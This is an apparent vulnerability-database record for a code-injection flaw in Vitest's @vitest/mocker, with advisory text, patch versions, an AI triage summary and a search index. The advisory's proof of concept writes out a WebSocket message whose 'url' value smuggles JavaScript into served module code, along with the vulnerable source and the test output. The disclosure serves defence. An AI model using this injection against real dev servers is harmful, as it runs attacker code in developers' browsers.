{"id":"CVE-2026-112949","kind":"vulnerability","aliases":["CVE-2026-112949","GHSA-qxg6-89mg-rqv8"],"related":[],"title":"Vitest: Code injection via unauthenticated manual mock registration","description":"### Summary\n\n`@vitest/mocker`'s `interceptorPlugin` accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's `url` into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin.\n\nSame handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (`8ff9b9a9efca7c6cfd5243569440de8d7a33aec4`, PR #10972) hardened only the `redirect` branch and left the `manual` branch reaching the unescaped generator.\n\n### Patches\n\nFixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. `createManualModuleSource` now serializes the module URL and the export names with `JSON.stringify`, so a registered mock cannot change the generated code.\n\nProjects that call `mockerPlugin()` or `interceptorPlugin()` directly need `@vitest/mocker` 4.1.12 or 5.0.3.\n\n### Details\n\n`packages/mocker/src/utils.ts:6-9` builds module source by string interpolation:\n\n```ts\nexport function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = '\"__vitest_mocker__\"'): string {\n  const source = `\nconst __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule(\"${moduleUrl}\");\n`\n```\n\n`moduleUrl` lands inside a double-quoted JavaScript string with no escaping or validation.\n\n`packages/mocker/src/node/interceptorPlugin.ts:66-93` feeds it straight from the socket:\n\n```ts\nconfigureServer(server) {\n  if (options.registerWebSocketEvents === false) { return }\n  server.ws.on('vitest:interceptor:register', (event: MockedModuleSerialized) => {\n    if (event.type === 'manual') {\n      const module = ManualMockedModule.fromJSON(event, async () => {\n        const keys = await getFactoryExports(event.url)\n        return Object.fromEntries(keys.map(key => [key, null]))\n      })\n      registry.add(module)                       // no validation of `id` or `url`\n    }\n    else {\n      if (event.type === 'redirect') { /* fs allowlist check added in #10972 */ }\n```\n\n`event.id` chooses which module is hijacked; `event.url` is what gets interpolated. The `load` hook (`interceptorPlugin.ts:30-44`) then returns `createManualModuleSource(mock.url, exports, accessor)` for that id.\n\nWith `url = 'x\"); globalThis.ARES_INJECTED = 1; void(\"'` a request for `/src/app.js` is answered with valid, executable JavaScript:\n\n```js\nconst __factoryModule__ = await globalThis[\"__vitest_mocker__\"].getFactoryModule(\"x\"); globalThis.ARES_INJECTED = 1; void(\"\");\n```\n\n`getFactoryExports` (`interceptorPlugin.ts:103-117`) also takes the export-name array from the same socket, and those names are interpolated unescaped too — but each name is emitted into `__factoryModule__[\"X\"]`, `export { __0 as \"X\" }` and `resolvedModule[\"X\"]`, and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; `url` is the exploited one.\n\n**Who can reach the socket.** Vite 8 answers HTTP 400 to any HMR upgrade carrying an `Origin` header it does not own, so a cross-origin browser page cannot open it — the PoC asserts this for `https://evil.example` and `http://localhost:3000`. The reachable attacker is a non-browser WebSocket client with access to the dev server's port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published.\n\n### PoC\n\n`poc/mocker-manual-mock-injection/` — `repro.sh` (exit 0 = vulnerable), `poc.mjs`, `expected.txt`, `env.txt`. Everything lives under a fresh `mktemp` directory deleted on exit, the dev server binds to `127.0.0.1` on an ephemeral port, no external host is contacted, and the payload is only inspected as text — the script never evaluates it.\n\nEnvironment: commit `9e1166959e14bd32298d8a0e85352431c769ec7a`, `@vitest/mocker` 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64.\n\n```bash\ngit clone https://github.com/vitest-dev/vitest && cd vitest\ngit checkout 9e1166959e14bd32298d8a0e85352431c769ec7a\npnpm install && pnpm build\nREPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh\n```\n\nRequired configuration — the public setup documented in `packages/mocker/EXPORTS.md`, which the harness reproduces (`mockerPlugin()` wires `interceptorPlugin` the same way):\n\n```ts\nimport { interceptorPlugin } from '@vitest/mocker/node'\nexport default defineConfig({ plugins: [interceptorPlugin()] })   // or mockerPlugin()\n```\n\nThe attack is one WebSocket message to `ws://<host>:<port>/` with subprotocol `vite-hmr`:\n\n```json\n{ \"type\": \"custom\", \"event\": \"vitest:interceptor:register\",\n  \"data\": { \"type\": \"manual\", \"raw\": \"\", \"id\": \"<abs path of a served module>\",\n            \"url\": \"x\\\"); globalThis.ARES_INJECTED = 1; void(\\\"\" } }\n```\n\nthen answering the server's `vitest:interceptor:resolve` with `{\"type\":\"custom\",\"event\":\"vitest:interceptor:resolved\",\"data\":{\"url\":\"<same url>\",\"keys\":[\"a\"]}}`. The module id can be obtained from the same socket via `vitest:mocks:resolveId` when `mockerPlugin()` is used.\n\nObserved output:\n\n```\nPASS  precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example  result=400\nPASS  precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000  result=400\nPASS  negative control: with no mock registered the real module is served\nPASS  negative control: a mock with a harmless url replaces the module but injects nothing\n--- module served for /src/app.js ---\n    const __factoryModule__ = await globalThis[\"__vitest_mocker__\"].getFactoryModule(\"x\"); globalThis.ARES_INJECTED = 1; void(\"\");\n\n    let __0 = __factoryModule__[\"a\"]\n    export { __0 as \"a\" }\n    if (__factoryModule__.__factoryPromise != null) {\n      __factoryModule__.__factoryPromise.then((resolvedModule) => {\n        __0 = resolvedModule[\"a\"];\n      })\n    }\nPASS  attacker statement is present in the module the dev server serves\nPASS  the real module body was replaced\nPASS  the injected module parses as JavaScript (Vite import analysis accepted it)\n\nRESULT: VULNERABLE\n```\n\n* **Positive control** — with no mock registered, `/src/app.js` is served with its real body, so the harness demonstrably works.\n* **Negative control** — the same registration with a harmless `url` replaces the module but injects nothing, attributing the injection to the payload rather than to mock registration.\n* **Precondition controls** — the two `Origin` probes record the boundary honestly.\n* Vite's import analysis rejects malformed output (an earlier deliberately-broken payload failed with \"content contains invalid JS syntax\"), so acceptance proves the injected module is valid, executable JavaScript.\n\nReproduced three times from a clean `mktemp` fixture, exit 0 each time.\n\n### Impact\n\nCode injection (CWE-94) by an unauthenticated client. The attacker picks any module id the project serves and replaces its body with arbitrary JavaScript, which executes in the developer's browser on the dev-server origin: reading source through the dev server, reading that origin's storage and cookies, driving further same-origin requests, and persisting across reloads while the mock stays registered. Nothing is written to disk, so it leaves no trace in the repository. Impacts developers who use the public `mockerPlugin()`/`interceptorPlugin()` API documented in `packages/mocker/EXPORTS.md`. Node runs do not register these handlers. Development-only — `configureServer` does not run for `vite build` or `vite preview`.\n\n### Credits\n\n- Thai Son Dinh from VinSOC Labs (R&D)\n\nDisclosure per CONTRIBUTING.md: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report.","summary":"Vitest's @vitest/mocker accepts unauthenticated mock registrations over the Vite dev-server WebSocket and interpolates the mock URL unescaped into served module code. A non-browser client that can reach the dev server port can make it serve arbitrary JavaScript in place of a project module, which runs in the developer's browser on the dev-server origin.","severity":"medium","cvss":4.7,"epss":0.002420000033453107,"exploited":false,"exploited_at":null,"products":[{"name":"@vitest/mocker","fixed":["4.1.12"],"affected":">= 2.1.0-beta.7, < 4.1.12","ecosystem":"npm"},{"name":"@vitest/mocker","fixed":["5.0.3"],"affected":">= 5.0.0-beta.1, < 5.0.3","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["cwe-116","cwe-306","cwe-94","developers-running-dev-server","mocker","npm","package","vite","vitest"],"not_affected_if":["node-runs-without-vite-dev-server","not-using-mockerplugin-or-interceptorplugin","patched-4.1.12-or-5.0.3","production-build-only","vite-build-or-preview-only"],"how_to_check":"Check the installed @vitest/mocker version with `npm ls @vitest/mocker` or the lockfile; affected if >= 2.1.0-beta.7 and < 4.1.12, or >= 5.0.0-beta.1 and < 5.0.3.\nConfirm whether vite.config uses mockerPlugin() or interceptorPlugin() from @vitest/mocker/node.","fix":"Upgrade @vitest/mocker to 4.1.12 (4.x line) or 5.0.3 (5.x line).\nUntil upgraded, avoid exposing the Vite dev server port beyond localhost and remove mockerPlugin()/interceptorPlugin() from the config if unused.","status":"open","published_at":"2026-10-20T16:17:05+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T20:03:14+00:00","updated_at":"2026-10-23T21:57:20+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-10-23T20:03:14Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade @vitest/mocker to 4.1.12 (4.x line) or 5.0.3 (5.x line).\nUntil upgraded, avoid exposing the Vite dev server port beyond localhost and remove mockerPlugin()/interceptorPlugin() from the config if unused.","summary":"Vitest's @vitest/mocker accepts unauthenticated mock registrations over the Vite dev-server WebSocket and interpolates the mock URL unescaped into served module code. A non-browser client that can reach the dev server port can make it serve arbitrary JavaScript in place of a project module, which runs in the developer's browser on the dev-server origin.","category":"package","who_cares":["vitest","vite","npm","developers-running-dev-server","mocker"],"confidence":0.85,"analyst_note":"","how_to_check":"Check the installed @vitest/mocker version with `npm ls @vitest/mocker` or the lockfile; affected if >= 2.1.0-beta.7 and < 4.1.12, or >= 5.0.0-beta.1 and < 5.0.3.\nConfirm whether vite.config uses mockerPlugin() or interceptorPlugin() from @vitest/mocker/node.\nunknown whether the dev server is reachable from untrusted networks beyond the sources' stated prerequisite.","needs_analyst":false,"not_affected_if":["production-build-only","vite-build-or-preview-only","node-runs-without-vite-dev-server","not-using-mockerPlugin-or-interceptorPlugin","patched-4.1.12-or-5.0.3"],"severity_if_unknown":"medium"},"cost_usd":0.000793,"input_tokens":5113,"output_tokens":564,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-09':201C '-112949':11A,19A '-116':23B '-117':403C '-2026':10A,18A '-30':202C '-306':25B '-44':361C '-9':245C '-93':289C '-94':27B '/src/app.js':381C '0':431C,544C '1':376C,399C '10972':178C,345C '11.24.0':600C '11377':204C '127.0.0.1':564C '2026':200C '3000':509C '4.1.12':208C,239C '400':478C '5.0.0':592C '5.0.3':197C,241C '6':244C '64':603C '66':288C '8':475C '8.0.11':596C '8.21.3':598C '82fw':171C,535C '89mg':15A '8ff9b9a9efca7c6cfd5243569440de8d7a33aec4':176C '9e1166959':589C 'accept':41B,103C 'access':521C 'accessor':367C 'add':343C 'allowlist':341C 'also':404C 'answer':383C,476C 'arbitrari':78B,140C 'array':410C 'assert':503C 'async':316C 'attack':512C 'authent':115C 'await':268C,319C,391C 'backport':206C 'bash':604C 'bind':562C 'branch':183C,188C 'browser':65B,92B,155C,496C,517C 'build':246C 'call':232C 'caller':167C 'candid':448C 'cannot':225C,498C 'carri':483C 'chang':226C 'check':342C 'choos':347C 'client':66B,129C,519C 'clone':606C 'code':2A,61B,229C 'commit':588C 'configureserv':297C 'const':264C,266C,312C,317C,389C 'contact':573C 'createmanualmodulesourc':209C,255C,364C 'cross':494C 'cross-origin':493C 'cve':9A,17A 'cwe':22B,24B,26B 'delet':556C 'detail':242C 'dev':31B,49B,71B,96B,110C,134C,159C,524C,560C 'dev-serv':48B,95B,109C,158C 'develop':29B,90B,153C 'developers-running-dev-serv':28B 'direct':236C 'directori':555C 'doubl':278C 'double-quot':277C 'e14bd32298d8a0e85352431c769ec7a':590C 'els':336C 'emit':426C 'env.txt':548C 'environ':587C 'ephemer':567C 'escap':127C,284C 'evalu':585C 'event':307C,315C 'event.id':346C 'event.type':310C,338C 'event.url':321C,352C 'everyth':549C 'evil.example':506C 'execut':386C 'exit':543C,558C 'expected.txt':547C 'exploit':467C 'export':217C,253C,258C,366C,408C,430C 'export-nam':407C 'extern':570C 'factorymodul':267C,390C,428C 'fals':301C 'feed':290C 'fix':175C,194C 'fresh':553C 'fs':340C 'function':254C 'gap':458C 'generat':123C,192C,228C 'get':355C 'getfactoryexport':320C,401C 'getfactorymodul':271C,395C 'ghsa':13A,170C,534C 'ghsa-82fw-gwwq-j7x9':169C,533C 'ghsa-qxg6-89mg-rqv8':12A 'git':605C 'globalaccessor':260C,270C 'globalthi':269C,392C 'globalthis.ares':374C,397C 'gwwq':172C,536C 'h':607C 'handler':163C 'harden':179C,457C 'header':486C 'hijack':351C 'hmr':481C 'hook':359C 'host':571C 'http':477C 'id':333C,370C 'inject':3A,375C,398C 'insid':275C 'inspect':579C 'interceptor':305C 'interceptorplugin':102C,235C 'interceptorplugin.ts:103':402C 'interceptorplugin.ts:30':360C 'interpol':53B,117C,251C,356C,419C 'j7x9':173C,537C 'javascript':79B,141C,280C,387C 'js':388C 'json.stringify':220C 'key':318C,325C,326C 'keys.map':324C 'land':274C 'left':185C 'linux':601C 'live':550C 'load':358C 'localhost':508C 'make':75B,137C 'manual':6A,187C,311C 'manualmockedmodule.fromjson':314C 'mktemp':554C 'mock':7A,43B,55B,104C,119C,224C 'mock.url':365C 'mockedmoduleseri':308C 'mocker':33B,262C,394C 'mockerplugin':233C 'modul':60B,85B,124C,147C,213C,247C,313C,329C,349C 'moduleurl':256C,272C,273C 'name':218C,409C,417C,424C 'need':237C 'never':584C 'nine':447C 'node':593C 'non':64B,516C 'non-brows':63B,515C 'npm':34B 'null':327C 'object.fromentries':323C 'one':468C 'open':499C 'options.registerwebsocketevents':300C 'origin':98B,161C,485C,495C 'packag':35B 'packages/mocker/src/node/interceptorplugin.ts':287C 'packages/mocker/src/utils.ts':243C 'page':497C 'pars':441C 'parser':453C 'patch':193C 'payload':439C,576C 'place':81B,143C 'pnpm':599C 'poc':502C,540C 'poc.mjs':546C 'poc/mocker-manual-mock-injection':541C 'port':73B,527C,568C 'posit':445C 'pr':177C,203C 'prerequisit':530C 'project':84B,146C,230C 'publish':539C 'quot':279C 'qxg6':14A 'reach':69B,132C,189C,471C 'reachabl':511C 'redirect':182C,339C 'regist':223C,306C 'registr':8A,44B,105C 'registry.add':328C 'reject':450C 'releas':198C 'repro.sh':542C 'request':379C 'resolvedmodul':435C 'return':302C,322C,363C 'rqv8':16A 'run':30B,87B,150C 'script':583C 'second':461C 'serial':211C 'serv':59B,77B,139C 'server':32B,50B,72B,97B,111C,135C,160C,298C,525C,561C 'server.ws.on':303C 'socket':295C,414C,473C 'sourc':125C,248C,265C 'straight':292C 'string':250C,257C,259C,263C,281C 'summari':99C 'take':405C 'test':440C 'text':581C 'three':444C 'ts':252C,296C 'unauthent':5A,42B,166C 'unescap':57B,191C,420C 'upgrad':482C 'url':56B,121C,214C,335C,372C,464C 'usabl':462C 'v22.23.1':594C 'valid':286C,331C,385C 'vector':463C 'via':4A 'vite':36B,47B,107C,474C,595C 'vitest':1A,37B,38B,261C,304C,393C 'vitest/mocker':20A,21A,40B,100C,196C,238C,591C 'void':377C,400C 'vulner':545C 'websocket':51B,112C,518C 'without':126C 'ws':597C 'x':373C,396C,429C,433C,436C 'x86':602C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-20T16:17:05+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-qxg6-89mg-rqv8","url":"https://github.com/advisories/GHSA-qxg6-89mg-rqv8","severity":"medium","published_at":"2026-10-21T19:54:26+00:00","modified_at":"2026-10-21T19:54:27+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-112949","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112949","severity":null,"published_at":"2026-10-20T16:17:05+00:00","modified_at":"2026-10-23T02:16:54+00:00","first_seen_at":"2026-10-23T21:57:20+00:00","fetched_at":"2026-10-23T22:28:58+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}